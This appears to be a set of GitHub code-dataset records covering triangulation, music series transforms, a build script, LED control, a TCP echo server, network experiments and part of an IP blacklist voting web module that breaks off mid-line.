int)):\n return v > -1E-6 and v < 1E-6\n else:\n return np.allclose(v, np.zeros(np.shape(v)))\n\ndef calcula_normal(polygon):\n sum = 0\n for (x1, y1), (x2, y2) in pares_circulares(polygon):\n sum += (x2 - x1) * (y2 + y1)\n if sum > 1E-6:\n return 1\n elif sum < -1E-6:\n return -1\n else:\n raise ValueError(\"Nenhuma normal encontrada\")\n\ndef fatias_circulares(seq, start, count):\n l = len(seq)\n for i in range(start, start + count):\n yield seq[i % l]\n\ndef fatias_circulares_inv(seq, start, count):\n if start + count > len(seq):\n return seq[start + count - len(seq): start]\n else:\n return chain(seq[:start], seq[start + count:])\n\ndef existe_pontos_no_triangulo(triangle, points):\n a, b, c = triangle\n s = b - a\n t = c - a\n stack = [s, t]\n if len(s) == 3:\n stack.append(np.cross(s, t))\n mtrx = np.linalg.inv(np.vstack(stack).transpose())\n if len(s) == 3:\n mtrx = mtrx[:2]\n for point in points:\n ps, pt = np.dot(mtrx, point - a)\n if ps >= 0 and pt >= 0 and ps + pt <= 1:\n return True\n return False\n\ndef triangulacao(polygon):\n\n polygon = [np.array(x) for x in polygon]\n normal = calcula_normal(polygon)\n i = 0\n while len(polygon) > 2:\n (a, b, c) = fatias_circulares(polygon, i, 3)\n triangle = (a, b, c)\n if ((a == b).all() or (b == c).all()):\n # Pulando vertices duplicados\n del polygon[(i + 1) % len(polygon)]\n continue\n\n x = np.cross(c - b, b - a)\n dot = np.dot(normal, x)\n yld = False\n if dot > 1E-6:\n triangle = (a, b, c)\n if not existe_pontos_no_triangulo(triangle,\n fatias_circulares_inv(polygon, i, 3)):\n del polygon[(i + 1) % len(polygon)]\n yield triangle\n i = 0\n yld = True\n if not yld:\n i += 1\n\ndef plot_triangulation(df, x_list, y_list):\n xs = df['x'].tolist()\n ys = df['y'].tolist()\n\n xs.append(df['x'].values[0])\n ys.append(df['y'].values[0])\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n plt.plot(x_list,y_list)\n plt.plot(xs,ys)\n plt.scatter(xs, ys)\n for xy in zip(xs, ys): # <--\n ax.annotate('(%s, %s)' % xy, xy=xy, textcoords='data') #\n plt.show()\n\ndef getPolygonPoints(df):\n\txs = df['x'].tolist()\n\tys = df['y'].tolist()\n\tlista = []\n\tfor i in range(len(xs)):\n\t\tlista.append((xs[i],ys[i]))\n\treturn lista\n\ndef make_triangulation(df):\n poly = getPolygonPoints(df)\n print(\"--> polygon: {}\".format(poly))\n tris = list(triangulacao(poly))\n print(\"--> triangulation: {}\".format(tris))\n\n x_list = []\n y_list = []\n for triangle in tris:\n x_list.append(triangle[0][0])\n y_list.append(triangle[0][1])\n\n x_list.append(triangle[1][0])\n y_list.append(triangle[1][1])\n\n x_list.append(triangle[2][0])\n y_list.append(triangle[2][1])\n\n plot_triangulation(df, x_list, y_list)\n\n\ndf_polygon1 = pd.read_csv(\"data/polygon1.txt\", sep=\" \", header=None, names=[\"x\",\"y\"])\ndf_polygon2 = pd.read_csv(\"data/polygon2.txt\", sep=\" \", header=None, names=[\"x\",\"y\"])\n\nmake_triangulation(df_polygon1)\nmake_triangulation(df_polygon2)\n\n\n","repo_name":"feliferr/computational-geometry","sub_path":"triangulation/triangulacao.py","file_name":"triangulacao.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"3005398444","text":"__author__\t= 'Ernesto Illescas-Pelaez'\n__date__\t= '20 February 2013'\n__version__= 'Beta'\n\n\n# Import Python native modules.\nclass Identities(object):\n\t\"\"\" Contains methods to return series identites, and to transpose\n\tthem.\n\t\"\"\"\n\tdef __init__(self, originalSeries):\n\t\t\"\"\" Set originalSeries as the self.originalSeries attribute.\n\t\toriginalSeries\t---> a list: the original series\n\t\t\"\"\"\n\t\tself.originalSeries\t= originalSeries\n\t\t\n\t\t\n\tdef seriesToIntervals(self, points):\n\t\t\"\"\" Converts a list of points into a list of intervals.\n\t\tpoints\t---> a list of points.\n\t\treturn\t-->> a list of intervals.\n\t\t\"\"\"\n\t\tintervals\t= []\n\t\ta\t\t\t= points[0]\n\t\tfor x in points:\n\t\t\tnewInterval = x - a\n\t\t\tintervals.append(newInterval)\n\t\t\ta = x\n\t\tintervals.pop(0)\n\t\treturn intervals\n\t\n\t\n\tdef intervalsToSeries(self, intervals, start, modulo=None):\n\t\t\"\"\" Constructs a list of values from a list of intervals.\n\t\tintervals\t---> a list of intervals.\n\t\tstart\t\t---> the starting ponit of the returned series.\n\t\tmodulo\t\t---> optional arg. 12 when working TET\n\t\treturn\t\t-->> a list of points\n\t\t\"\"\"\n\t\tseries\t= [start]\n\t\tfor x in intervals:\n\t\t\telement = x + series[-1]\n\t\t\tif modulo:\n\t\t\t\telement = element % modulo\n\t\t\tseries.append(element)\n\t\treturn series\n\t\n\t\n\tdef original(self):\n\t\t\"\"\" Returns the original series.\n\t\treturn\t-->> the original series\n\t\t\"\"\"\n\t\treturn self.originalSeries\n\t\n\t\n\tdef retrograde(self):\n\t\t\"\"\" Returns the retrograde series. No transposition takes place\n\t\t(i.e. retrograde[0] = original[-1]).\n\t\treturn\t-->> the retrograde identity of self.originalSeries\n\t\t\"\"\"\n\t\tretrograde = list(reversed(self.originalSeries))\n\t\treturn retrograde\n\t\n\t\n\tdef inverse(self):\n\t\t\"\"\" Returns the inverse series. No transposition takes place\n\t\t(i.e. inverse[0] = original[-1]).\n\t\treturn\t-->> the inverse identity of self.originalSeries\n\t\t\"\"\"\n\t\torigin\t\t\t\t= self.originalSeries[0]\n\t\tintervals\t\t\t= self.seriesToIntervals(self.originalSeries)\n\t\tinvertedIntervals\t= []\n\t\tfor interval in intervals:\n\t\t\tinterval *= -1\n\t\t\tinvertedIntervals.append(interval)\n\t\tinverse\t\t= self.intervalsToSeries(invertedIntervals, origin,\n\t\t\t\t\t\t\t\t\t\t\t\tmodulo=12)\n\t\treturn inverse\n\t\n\t\n\tdef retrogradeInverse(self):\n\t\t\"\"\" Returns the retrograde of the inverse series. No\n\t\ttransposition takes place (i.e. retrogradeInverse[0] =\n\t\tinverse[-1]).\n\t\treturn\t-->> the retrograde-inverse identity of\n\t\t\t\t\t\tself.originalSeries\n\t\t\"\"\"\n\t\tinverseSeries = self.inverse()\n\t\tretrogradeInverse\t= list(reversed(inverseSeries))\n\t\treturn retrogradeInverse\n\t\n\t\n\tdef transposition(self, startPitch, identitiy='original'):\n\t\t\"\"\" Transposes self.original or the desired identity\n\t\t(retrograde, inverse, retrogradeInverse).\n\t\tstartPitch\t---> Series\\'s starting pitch\n\t\tidentity\t---> optionally choose to return a transposed\n\t\t\t\t\t\t\tidentity\n\t\t\"\"\"\n\t\t# Define which identity will be transposed.\n\t\tif identitiy == 'original':\n\t\t\tseries = self.original()\n\t\telif identitiy == 'retrograde':\n\t\t\tseries = self.retrograde()\n\t\telif identitiy == 'inverse':\n\t\t\tseries = self.inverse()\n\t\telif identitiy == 'retrogradeInverse':\n\t\t\tseries = self.retrogradeInverse()\n\t\t# Make the transposition.\n\t\tintervals = self.seriesToIntervals(series)\n\t\ttransposition = self.intervalsToSeries(intervals, startPitch, modulo=12)\n\t\treturn transposition\n","repo_name":"jergas/moebiusLib","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"13921636331","text":"import os\nimport sys\nimport time\nfrom pathlib import Path\n\nfrom ubuntu_utils import (cmd_result, cu_version_name, ensure_base_env,\n get_job, pytorch_version)\n\ng_jobs = 2\n\n\ndef install_libtorch(dep_dir):\n print('-' * 10 + 'install libtorch' + '-' * 10)\n time.sleep(2)\n\n os.chdir(dep_dir)\n unzipped_name = 'libtorch'\n if os.path.exists(unzipped_name):\n return os.path.join(dep_dir, unzipped_name)\n\n torch_version = pytorch_version()\n if torch_version is None:\n print('torch version is None, try 1.11.0')\n torch_version = '1.11.0'\n\n version_name = None\n\n # first check `nvcc` version, if failed, use `nvidia-smi`\n cuda = cmd_result(\n \" nvcc --version | grep release | awk '{print $5}' | awk -F , '{print $1}' \" # noqa: E501\n )\n if cuda is None or len(cuda) < 1:\n cuda = cmd_result(\" nvidia-smi | grep CUDA | awk '{print $9}' \")\n\n if cuda is not None and len(cuda) > 0:\n version_name = cu_version_name(cuda)\n else:\n version_name = 'cpu'\n\n filename = 'libtorch-shared-with-deps-{}%2B{}.zip'.format(\n torch_version, version_name)\n url = 'https://download.pytorch.org/libtorch/{}/{}'.format(\n version_name, filename)\n os.system('wget -q --show-progress {} -O libtorch.zip'.format(url))\n os.system('unzip libtorch.zip')\n if not os.path.exists(unzipped_name):\n print(\n 'download or unzip libtorch from {} failed, please check https://pytorch.org/get-started/locally/' # noqa: E501\n .format(url))\n return None\n return os.path.join(dep_dir, unzipped_name)\n\n\ndef install_mmdeploy(work_dir, libtorch_dir):\n print('-' * 10 + 'build and install mmdeploy' + '-' * 10)\n time.sleep(3)\n\n os.chdir(work_dir)\n os.system('git submodule init')\n os.system('git submodule update')\n\n if not os.path.exists('build'):\n os.system('mkdir build')\n\n os.system('rm -rf build/CMakeCache.txt')\n\n cmd = 'cd build && Torch_DIR={} cmake ..'.format(libtorch_dir)\n cmd += ' -DMMDEPLOY_BUILD_SDK=ON '\n cmd += ' -DMMDEPLOY_BUILD_EXAMPLES=ON '\n cmd += ' -DMMDEPLOY_BUILD_SDK_PYTHON_API=ON '\n cmd += ' -DMMDEPLOY_TARGET_DEVICES=cpu '\n cmd += ' -DMMDEPLOY_TARGET_BACKENDS=torchscript '\n cmd += ' -DTORCHSCRIPT_DIR={} '.format(libtorch_dir)\n os.system(cmd)\n\n os.system('cd build && make -j {} && make install'.format(g_jobs))\n os.system('python3 -m pip install -e .')\n try:\n import mmcv\n print(mmcv.__version__)\n os.system('python3 tools/check_env.py')\n except Exception:\n print('Please install torch & mmcv later.. ≥▽≤')\n return 0\n\n\ndef main():\n \"\"\"Auto install mmdeploy with ort. To verify this script:\n\n 1) use `sudo docker run -v /path/to/mmdeploy:/root/mmdeploy -v /path/to/Miniconda3-latest-Linux-x86_64.sh:/root/miniconda.sh -it ubuntu:18.04 /bin/bash` # noqa: E501\n 2) install conda and setup python environment\n 3) run `python3 tools/scripts/build_ubuntu_x64_torchscript.py`\n\n Returns:\n _type_: _description_\n \"\"\"\n global g_jobs\n g_jobs = get_job(sys.argv)\n print('g_jobs {}'.format(g_jobs))\n\n work_dir = os.path.abspath(os.path.join(__file__, '..', '..', '..'))\n dep_dir = os.path.abspath(os.path.join(work_dir, '..', 'mmdeploy-dep'))\n if not os.path.exists(dep_dir):\n if os.path.isfile(dep_dir):\n print('{} already exists and it is a file, exit.'.format(work_dir))\n return -1\n os.mkdir(dep_dir)\n\n success = ensure_base_env(work_dir, dep_dir)\n if success != 0:\n return -1\n\n libtorch_dir = install_libtorch(dep_dir)\n\n if libtorch_dir is None:\n return -1\n\n if install_mmdeploy(work_dir, libtorch_dir) != 0:\n return -1\n\n if os.path.exists(Path('~/mmdeploy.env').expanduser()):\n print('Please source ~/mmdeploy.env to setup your env !')\n os.system('cat ~/mmdeploy.env')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"open-mmlab/mmdeploy","sub_path":"tools/scripts/build_ubuntu_x64_torchscript.py","file_name":"build_ubuntu_x64_torchscript.py","file_ext":"py","file_size_in_byte":3992,"program_lang":"python","lang":"en","doc_type":"code","stars":2256,"dataset":"github-code","pt":"53"} +{"seq_id":"25285624680","text":"import sys\nimport subprocess as sub\nfrom datetime import datetime\nimport select\n\nlogfile = open('main.log', 'w')\n\ndef write_log(*arg):\n\ts = ''.join(str(i) for i in arg).strip()\n\tdate = str(datetime.now())\n\tfor i in s.split('\\n'):\n\t\tlogfile.write(date + ': ' + i + '\\n')\n\t\tsys.stdout.write(date + ': ' + i + '\\n')\n\tlogfile.flush()\n\ndef runcmd(cmd, outpip=sub.PIPE, errpip=sub.STDOUT):\n\t\"\"\"\n\truncmd(cmd)\n\tExecutes 'cmd' and yield the output\n\tby default it yield strerr also\n\t\"\"\"\n\twrite_log('cmd: ', cmd)\n\tprocess = sub.Popen(cmd, stdout=outpip, stderr=errpip)\n\t# for c in iter(lambda: process.stdout.readline(), b''): ## For line by line\n\tfor c in iter(lambda: process.stdout.read(4), b''):\n\t\twrite_log(c.decode())\n\t\t# yield c #.decode() ## uncomment to send string instead.\n\t\tyield { 'data': c.decode(), 'stream': 'both' }\n\ndef stream_cmd(cmd):\n\toutpip = sub.PIPE\n\terrpip = sub.PIPE\n\twrite_log('cmd: ', cmd)\n\tprocess = sub.Popen(cmd, shell=True, stdout=outpip, stderr=errpip)\n\twhile True:\n\t\treads = [process.stdout.fileno(), process.stderr.fileno()]\n\t\tret = select.select(reads, [], [])\n\t\tfor fd in ret[0]:\n\t\t\tif fd == process.stdout.fileno():\n\t\t\t\tdata = process.stdout.readline()\n\t\t\t\twrite_log(data.decode())\n\t\t\t\tyield { 'data': data.decode(), 'stream': 'stdout' }\n\t\t\tif fd == process.stderr.fileno():\n\t\t\t\tdata = process.stderr.readline()\n\t\t\t\twrite_log(data.decode())\n\t\t\t\tyield { 'data': data.decode(), 'stream': 'stderr' }\n\t\tif process.poll() != None:\n\t\t\tprint(\"Poll\", process.poll())\n\t\t\treturn\n\nif __name__ == '__main__':\n\ta = runcmd(\"./temp\")\n\tfor i in a:\n\t\tprint(i, end='')\n","repo_name":"shreyash14s/OVIDE","sub_path":"execr.py","file_name":"execr.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"} +{"seq_id":"38490415034","text":"#!/usr/bin/env python3\n\nfrom gpiozero import PWMLED\nfrom gpiozero import Button\nfrom time import sleep\nfrom signal import pause\nimport threading\nfrom threading import Timer\n\ngreen = PWMLED(\"12\")\nred = PWMLED(\"13\")\nblue = PWMLED(\"19\")\nbutton = Button(2)\n\ndef reset(timer1,timer2,timer3):\n green.off()\n red.off()\n blue.off()\n # print(\"cancelling timer: \"+ str(timer1))\n timer1.cancel()\n # print(\"cancelling timer: \"+ str(timer2))\n timer2.cancel()\n # print(\"cancelling timer: \"+ str(timer3))\n timer3.cancel()\n\ndef show_red():\n green.off()\n red.on()\n blue.off()\n\ndef show_blue():\n green.off()\n red.off()\n blue.on()\n\ndef show_green():\n green.on()\n red.off()\n blue.off()\n\ndef show_purple():\n green.off()\n red.on()\n blue.on()\n\ndef show_white():\n green.on()\n red.on()\n blue.on()\n\ndef show_rainbow(time_period=3, ):\n kwargs={\n 'on_time':0,\n 'off_time':time_period,\n 'fade_in_time':time_period,\n 'fade_out_time':time_period,\n 'n':None,\n 'background':True\n }\n green_timer = Timer(\n time_period * 0, \n green.blink,\n kwargs=kwargs\n )\n red_timer = Timer(\n time_period, \n red.blink,\n kwargs=kwargs\n )\n blue_timer = Timer(\n time_period * 2, \n blue.blink,\n kwargs=kwargs\n )\n green_timer.start()\n red_timer.start()\n blue_timer.start()\n return(green_timer, red_timer, blue_timer)\n\n\ndef main():\n # setting some variables up\n green_timer = Timer(0, next)\n red_timer = Timer(0, next)\n blue_timer = Timer(0, next)\n \n # we gotta start somewhere, might as well be at the end\n show_white()\n active_color = 6\n\n\n while True:\n\n \n # when Button gets pressed, color program gets cancelled, and the color profile incriments\n button.wait_for_press() \n reset(green_timer, red_timer, blue_timer)\n active_color += 1\n \n # if we exceed the number of color patterns, we start back at 0\n if active_color >= 7:\n active_color = 0\n\n\n # upon button release, we start the next color pattern \n button.wait_for_release()\n\n\n if active_color == 0:\n (green_timer, red_timer, blue_timer) = show_rainbow(1)\n print(\"fast rainbow\")\n elif active_color == 1:\n (green_timer, red_timer, blue_timer) = show_rainbow()\n print(\"slow rainbow\")\n elif active_color == 2:\n show_green()\n print(\"green\")\n elif active_color == 3:\n show_blue()\n print(\"blue\")\n elif active_color == 4:\n show_red()\n print(\"red\")\n elif active_color == 5:\n show_purple()\n print(\"purple\")\n elif active_color == 6:\n show_white()\n print(\"white\")\n pause()\n\n# Here we run main\nmain()\n","repo_name":"eric-wilbanks/gpio_nonsense","sub_path":"rgb_cycle.py","file_name":"rgb_cycle.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"22657505439","text":"import socket\nimport threading\n\n\n#0.0.0.0 yani hame ip haye system\nlisten_ip = '0.0.0.0'\nlisten_port = 2345\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nserver.bind((listen_ip, listen_port))\n\n#vorodi 1-5 migire\n\nserver.listen(5)\n\ndef handle_client(client):\n\n request = client.recv(4096)\n print(\"Revieved : {}\".format(request))\n client.send(\"ACK!\")\n client.close()\n\nwhile True:\n print(\"Listening on {}:{}\".format(listen_ip, listen_port))\n client_socket, addr = server.accept()\n print(\"Connetction accepted from {}:{}\".format(addr[0], addr[1]))\n client_handler=threading.Thread(target=handle_client, args=(client_socket,))\n client_handler.start()\n","repo_name":"saeidshirazi/pysecurity","sub_path":"tcp_server.py","file_name":"tcp_server.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"2782566913","text":"import subprocess\n\ndef test_speed():\n speedtest_output = subprocess.run([\"speedtest-cli\"], capture_output=True, text=True).stdout\n return speedtest_output\n\nif __name__ == \"__main__\":\n print(\"Start Test - check your internet connection\")\n input(\"Press ENTER...\")\n print(\"Testing\")\n output = test_speed()\n print(\"--- Speedtest Results ---\")\n print(output)\n \n\n \n","repo_name":"RyaanXP/Simple-SpeedTest-in-Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72524130087","text":"import numpy as np\nimport random \nimport seaborn as sns\n\nsuccess = 0\n#Number of tests \nn = 100000\n#Target value\nthreshold = 5\n#What we reroll . 3 will reroll 1,2 and 3\nreroll = 1\n#Number of Dice used in the experiment\ndice = 2\ndata = np.zeros([n, dice+1], dtype=int)\nfor i in range(n):\n total = 0\n for d in range(dice):\n roll = random.randint(1, 6) \n \n if roll <= reroll:\n roll = random.randint(1, 6)\n data[i,d] = roll\n data[i,dice] = data[i,dice] + roll\n \n if (data[i,dice]>=threshold):\n success=success+1\n \n#sns.distplot(data[:,dice])\n\nprint(success/n)\n","repo_name":"AntonYurievNikolov/PythonTests","sub_path":"Gaming/Monte Carlo.py","file_name":"Monte Carlo.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"32449320636","text":"#!/usr/bin/env python3\n\n\"\"\"\nUsage:\n./test.py \n\nExperiment Types:\nnum_flows\nlat_ratio\nmulti_flow\nmulti_ratio\n\"\"\"\n\nimport subprocess, threading, time, sys, os, parse\n\n# Global Parameters\nMAHIMAHI_BASE = '100.64.0.1'\nLOG_DIR_BASE='logs-'\nRUN_TIMELENGTH = 120\nUPLOAD_FILE = 'const-60mbit'\nDOWNLOAD_FILE = 'const-12mbit'\n\ndef thread_call(command):\n subprocess.run(command)\n\ndef spawn_flow(long_latency, short_latency, num, cca, exp_type):\n command = ['mm-delay', str(long_latency), 'mm-link', UPLOAD_FILE, DOWNLOAD_FILE, '--', \\\n './iperf_spawner.sh', str(num), str(short_latency), str(RUN_TIMELENGTH), cca, exp_type]\n t = threading.Timer(0, thread_call, kwargs={'command':command})\n t.start()\n\ndef spawn_multi_flow(long_latency, short_latency, num, cca, exp_type):\n command = ['mm-delay', str(long_latency), 'mm-link', UPLOAD_FILE, DOWNLOAD_FILE, '--', \\\n './multi_spawner.sh', str(num), str(short_latency), str(RUN_TIMELENGTH), cca, exp_type]\n t = threading.Timer(0, thread_call, kwargs={'command':command})\n t.start()\n\ndef main(args):\n num_iter = int(args[2])\n num_flows = int(args[3])\n long_latency = int(args[4])\n short_latency = int(args[5])\n cca = args[6]\n exp_type = args[1]\n if 'num' in exp_type or 'multi_flow' in exp_type:\n exp_index = args[3]\n elif 'lat' in exp_type or 'multi_ratio' in exp_type:\n exp_index = args[5]\n else:\n print('Unsupported experiment type.')\n exit(0)\n log_dir = exp_type + '/' + cca + '/' + LOG_DIR_BASE + exp_index\n\n if not os.path.exists(log_dir):\n os.makedirs(log_dir)\n\n # create flows:\n for i in range(num_iter):\n if 'multi' not in exp_type:\n spawn_flow(long_latency, short_latency, num_flows, cca, exp_type)\n else:\n spawn_multi_flow(long_latency, short_latency, num_flows, cca, exp_type)\n # Wait until flows are done:\n time.sleep(RUN_TIMELENGTH + 0.2*num_flows + 1)\n\n parse.main(['', exp_type, exp_index, cca])\n\n\nif __name__ == '__main__':\n args = sys.argv\n if len(args) != 7:\n print('Usage: ./test.py ')\n else:\n main(args)\n","repo_name":"metheis/unfairness","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"12654253592","text":"import json\nfrom datetime import datetime as dt\n\n\ndef timestamp_to_string(timestamp: int, time_format=\"EU\") -> str:\n dt_object = dt.fromtimestamp(timestamp)\n if time_format == \"EU\":\n formatted_date = dt_object.strftime(\"%d.%m.%Y at %H:%M:%S\")\n else:\n formatted_date = dt_object.strftime(\"%m/%d/%Y at %I:%M:%S %p\")\n return formatted_date\n\n\ndef read_cache_file(category: str) -> dict:\n try:\n with open(f\"{category}.json\", \"r\") as file:\n cache = json.load(file)\n except FileNotFoundError:\n with open(f\"{category}.json\", \"w\") as file:\n pass\n cache = {}\n return cache\n\n\ndef write_cache_file(category: str, json_data: dict) -> None:\n with open(f\"{category}.json\", \"w\") as file:\n json.dump(json_data, file, indent=4)\n","repo_name":"Datenlord1510/discord-predb","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"} +{"seq_id":"43404047095","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nfrom app.models.user.rms import RMS\nfrom app.models.ippool.ipStatis import IPStatis\nfrom app.models.ippool.ip import IP\nfrom app.models.blacklist.ipBlacklist import IPBlacklist\nfrom app.models.blacklist.ipBlacklistVote import IPBlacklistVote\nfrom conf.error_code import ERROR_CODE, ERROR_MESSAGE\nfrom lib.core import get, post, ctx, view, interceptor, HttpError\nfrom lib.common import check_login, api, get_page_info, Page\nfrom lib.error import APIError\nfrom lib.utils import path_join\n\n_MODULE = 'blacklist'\n\n\ndef _get_votelist(is_admin=False):\n batch = ctx.request.get('batch', None)\n title = ctx.request.get('title', None)\n\n batch_list = IPBlacklist.select_by('where batch > 0 group by batch order by batch DESC', [], ['batch'])\n\n if not batch and len(batch_list) > 0:\n batch = batch_list[0].batch\n\n param = {\n 'batchList': batch_list,\n 'batch': \"\" if not batch else batch,\n 'title': title if title else '',\n }\n\n lists = []\n if not not batch:\n where = 'where `batch` = ? order by voteEnd DESC'\n lists = IPBlacklist.find_by(where, batch)\n IP.join_by(lists, 'id', 'id')\n\n if not is_admin:\n where = 'where voterId = \"%s\"' % (ctx.request.user.uid,)\n IPBlacklistVote.join_by(lists, 'id', 'ipId', where)\n lists = sorted(lists, key=lambda x: x.ip.pagerankVal, reverse=True)\n else:\n lists = sorted(lists, key=lambda x: x.voteTurnout, reverse=True)\n\n _format_data(lists)\n return dict(list=lists, param=param, user=ctx.request.user)\n\n\ndef _get_blacklist_by_page(title, status, order):\n page_index, page_size = get_page_info()\n\n if title:\n args = ['%' + title + '%']\n where = 'where `title` like ?'\n else:\n args = [status]\n where = 'where status = ?'\n\n total = IPBlacklist.count_by(where, *args)\n page = Page(total, page_index, page_size)\n\n if status < 3:\n order_field = 'updateAt ASC'\n else:\n order_field = 'blacklistUpdateAt DESC'\n\n where = '%s order by %s limit ?,?' % (where, order_field)\n args.append(page.offset)\n args.append(page.limit)\n lists = IPBlacklist.find_by(where, *args)\n\n if status > 1:\n RMS.join_by(lists, 'packagerId', 'uid')\n\n IP.join_by(lists, 'id', 'id')\n IPStatis.join_by(lists, 'id', 'ipId')\n return lists, page.to_dict()\n\n\ndef _get_package_list_by_page(title, status, order):\n page_index, page_size = get_page_info()\n\n args = [ctx.request.user.uid]\n where = \"where packagerId = ?\"\n\n if title:\n args.append('%' + title + '%')\n where = '%s and status > 1 and `title` like ? ' % (where,)\n else:\n args.append(status)\n where = '%s and status = ?' % (where,)\n\n total = IPBlacklist.count_by(where, *args)\n page = Page(total, page_index, page_size)\n if order == 0:\n order_by = 'DESC'\n else:\n order_by = 'ASC'\n where = '%s order by updateAt %s limit ?,?' % (where, order_by)\n args.append(page.offset)\n args.append(page.limit)\n lists = IPBlacklist.find_by(where, *args)\n IP.join_by(lists, 'id', 'id')\n return lists, page.to_dict()\n\n\ndef _get_blacklist():\n title = ctx.request.get('title', None)\n status = ctx.request.get('status', 1)\n order = ctx.request.get('order', 0)\n\n lists, page = _get_blacklist_by_page(title, status, order)\n\n packagers = RMS.find_by('where `crm` like \"%4_1_9%\" and stillwork = 1')\n\n param = {\n 'status': int(status),\n 'title': title if title else ''\n }\n _format_data(lists)\n return dict(page=page, packagers=packagers, list=lists, param=param, user=ctx.request.user)\n\n\ndef _get_package_list():\n title = ctx.request.get('title', None)\n status = ctx.request.get('status', 2)\n order = ctx.request.get('order', 0)\n\n lists, page = _get_package_list_by_page(title, status, order)\n\n param = {\n 'status': int(status),\n 'title': title if title else ''\n }\n _format_data(lists)\n return dict(page=page, list=lists, param=param, user=ctx.request.user)\n\n\ndef _format_data(data):\n for item in data:\n item.createAt, item.updateAt = time.localtime(item.createAt), time.localtime(item.updateAt)\n item.createAt = time.strftime('%Y-%m-%d %H:%M:%S', item.createAt)\n item.updateAt = time.strftime('%Y-%m-%d %H:%M:%S', item.updateAt)\n\n if hasattr(item, 'blacklistUpdateAt'):\n item.blacklistUpdateAt = time.localtime(item.blacklistUpdateAt)\n item.blacklistUpdateAt = time.strftime('%Y-%m-%d %H:%M:%S', item.blacklistUpdateAt)\n\n if hasattr(item, 'uptime'):\n item.uptime = time.localtime(item.uptime)\n item.uptime = time.strftime('%Y-%m-%d', item.uptime)\n\n\n@interceptor(path_join(_MODULE))\ndef check_login_interceptor(next):\n return check_login(next)\n\n\n@view(path_join(_MODULE, 'blacklist.html'))\n@get(path_join(_MODULE))\ndef blacklist_list():\n if ctx.request.user.crm.find('4_1_8') == -1 and ctx.request.user.crm.find('4_1_9') == -1 and ctx.request.user.crm.find('4_1_10') == -1:\n raise HttpError.seeother('/home')\n\n return _get_blacklist()\n\n\n@api\n@get(path_join(_MODULE, 'api'))\ndef api_blacklist_list():\n if ctx.request.user.crm.find('4_1_8') == -1 and ctx.request.user.crm.find('4_1_9') == -1 and ctx.request.user.crm.find('4_1_10') == -1:\n raise HttpError.seeother('/home')\n\n return _get_blacklist()\n\n\n@view(path_join(_MODULE, 'vote_list.html'))\n@get(path_join(_MODULE, 'voteList'))\ndef ip_list():\n if ctx.request.user.crm.find('4_1_8') == -1:\n raise HttpError.seeother('/home')\n\n return _get_votelist()\n\n\n@api\n@get(path_join(_MODULE, 'voteList/api'))\ndef api_ip_list():\n if ctx.request.user.crm.find('4_1_8') == -1:\n raise HttpError.seeother('/home')\n\n return _get_votelist()\n\n\n@view(path_join(_MODULE, 'package_list.html'))\n@get(path_join(_MODULE, 'packageList'))\ndef package_list():\n if ctx.request.user.crm.find('4_1_9') == -1:\n raise HttpError.seeother('/home')\n\n return _get_package_list()\n\n\n@api\n@get(path_join(_MODULE, 'packageList/api'))\ndef api_package_list():\n if ctx.request.user.crm.find('4_1_9') == -1:\n raise HttpError.seeother('/home')\n\n return _get_package_list()\n\n\n@view(path_join(_MODULE, 'vote_result.html'))\n@get(path_join(_MODULE, 'voteResult'))\ndef vote_result_list():\n if ctx.request.user.crm.find('4_1_10') == -1:\n raise HttpError.seeother('/home')\n\n return _get_votelist(is_admin=True)\n\n\n@api\n@get(path_join(_MODULE, 'voteResult/api'))\ndef api_vote_result_list():\n if ctx.request.user.crm.find('4_1_10') == -1:\n raise HttpError.seeother('/home')\n\n return _get_votelist(is_admin=True)\n\n\n@api\n@post(path_join(_MODULE, 'vote/api'))\ndef vote():\n result = int(ctx.request.get('result', None))\n ip_id = int(ctx.request.get('ipId', 0))\n reason = ctx.request.get('reason', '')\n\n if (result != 1 and result != 2) or ip_id <= 0 or (result == 1 and not reason):\n error_code = ERROR_CODE['param_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n if ctx.request.user.crm.find('4_1_8') == -1:\n error_code = ERROR_CODE['not_allow_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n admin_list = RMS.find_by('where `crm` like \"%4_1_8%\" and stillwork = 1')\n admins = admin_list[:]\n\n where = 'where ipId = ?'\n res = IPBlacklistVote.find_by(where, ip_id)\n\n pass_num, refuse_num, vote_turnout = 0, 0, 0.0\n\n if result == 1:\n pass_num += 1\n else:\n refuse_num += 1\n\n for x in res:\n if x.voterId == ctx.request.user.uid:\n error_code = ERROR_CODE['not_allow_error']\n raise APIError(error_code, ERROR_MESSAGE[error_code], {})\n\n if x.result == 1:\n pass_num += 1\n\n if x.result == 2:\n refuse_num += 1\n\n for admin in admin_list:\n if admin.uid == x.voterId or admin.uid == ctx.request.user.uid:\n if admin in admins:\n admins.remove(admin)\n\n vote_end = 1 if len(admins) < 1 or len(admin_list) == 1 else 0\n vote_turnout = float(pass_num) / (pass_num + 